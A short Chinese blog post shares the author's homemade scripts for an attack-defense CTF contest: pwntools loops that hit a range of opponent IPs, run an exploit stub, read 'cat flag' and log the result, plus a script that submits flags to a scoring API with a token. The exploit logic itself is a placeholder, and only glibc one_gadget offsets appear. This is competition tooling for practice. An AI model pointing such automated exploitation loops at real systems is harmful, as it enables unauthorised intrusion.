awd

自己瞎搞的awd脚本，自己测试还行，不知道下次线下会不会再被打爆orz

getflag1

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import test_awd2

start = 144
end__ = 147

def write_flag(s):
    fd = open('./flags', 'a')
    fd.write(s)
    fd.close()

def pwn_one(ip, port):
    global io
    flag = 1
    while flag >= 1:
        try:
            io = remote(ip, port, timeout=0.5)
            if test_awd2.pwn(io) == 0:
                flag -= 1
                continue
            else:
                io.recv(timeout=0.5)
                io.sendline(b'cat flag')
                one_flag = io.recv(timeout=0.5).decode()
                if "flag{" in one_flag:
                    write_flag(one_flag)
                    success(ip + ":" + str(port) + " successful!!!\n" + one_flag)
                else:
                    print("[X] have no flag!!!")
                flag = 0
                io.close()
        except Exception as e:
            io.close()
            flag -= 1
            continue


if __name__ == '__main__':
    a_b = '10.1.'
    d__ = '.5'
    port = '9999'

    for i in range(start, end__ + 1):
        ip = "192.168.137." + str(i)
        pwn_one(ip, port)

getflag2

#!/usr/bin/env python3
# coding=utf-8
from pwn import *

# from z3 import *
arch = "amd64"
filename = "connect"

start = 144
end__ = 147
#
# ip = ""
# port =
# libc
# libc
local_libc = ELF("")
remote_libc = ELF("")
# ld
# local_ld=ELF("/lib64/ld-linux-x86-64.so.2")
# remote_ld=ELF("/lib64/ld-linux-x86-64.so.2")

context(os="linux", arch=arch, log_level="debug")
# context.terminal = ['tmux', 'split','-h']
content = 0

offset = 0
# elf
elf = ELF(filename)


def write_flag(s):
    fd = open('./flags', 'a')
    fd.write(s)
    fd.close()


def b(addr):
    bk = "b *$rebase" + str(addr)
    gdb.attach(io, bk)
    success("attach")


def pwn():
    # b()
    return 1


def pwn_one(ip, port):
    global io
    flag = 1
    while flag >= 1:
        try:
            if content == 0:
                io = process(["./" + filename])
                # libc = local_libc
                # ld = local_ld
                onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]  # 2.23
                # onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.27
                # onegadget = [0xe6c7e, 0xe6c81, 0xe6c84]  # 2.31 9.2
            else:
                io = remote(ip, port, timeout=0.5)
                # libc = remote_libc
                # ld = remote_ld
                onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]  # 2.23
                # onegadget = [0x4f2c5, 0x4f322, 0x10a38c] #2.27
                # onegadget = [0xe6c7e, 0xe6c81, 0xe6c84]  # 2.31 9.2
            if pwn() == 0:
                flag -= 1
                continue
            else:
                io.recv(timeout=0.5)
                io.sendline(b'cat flag')
                one_flag = io.recv(timeout=0.5).decode()
                if "flag{" in one_flag:
                    write_flag(one_flag)
                    success(ip + ":" + str(port) + " successful!!!\n" + one_flag)
                else:
                    print("[X] have no flag!!!")
                flag = 0
                io.close()
        except Exception as e:
            io.close()
            flag -= 1
            continue


if __name__ == '__main__':
    a_b = '10.1.'
    d__ = '.5'
    port = '6666'

    for i in range(start, end__ + 1):
        ip = "192.168.137." + str(i)
        pwn_one(ip, port)

submit_flag

#!/usr/bin/env python3
import requests

filename = 'flags'

header = {
    "Cookie": "none"
}

def del_flags():
    fd = open('./flags', 'w')
    fd.close()

def submit():
    with open(filename) as flag_text:
        flags = flag_text.readlines()
        for flag in flags:
            flag = flag.strip()
            url = 'http://20.21.7.1/match-open-api/api/v1/player/awd/auto-submit?exerciseId=168&token=USR-20210716-vwQ3b&flag='
            url += flag
            print(url)
            try:
                res = requests.get(url, headers=header, timeout=1)
                print(res.text)
            except:
                print('connect fail!')
                continue


if __name__ == "__main__":
    submit()
    del_flags()

-------------本文结束感谢您的阅读-------------

赏

谢谢你请我吃糖果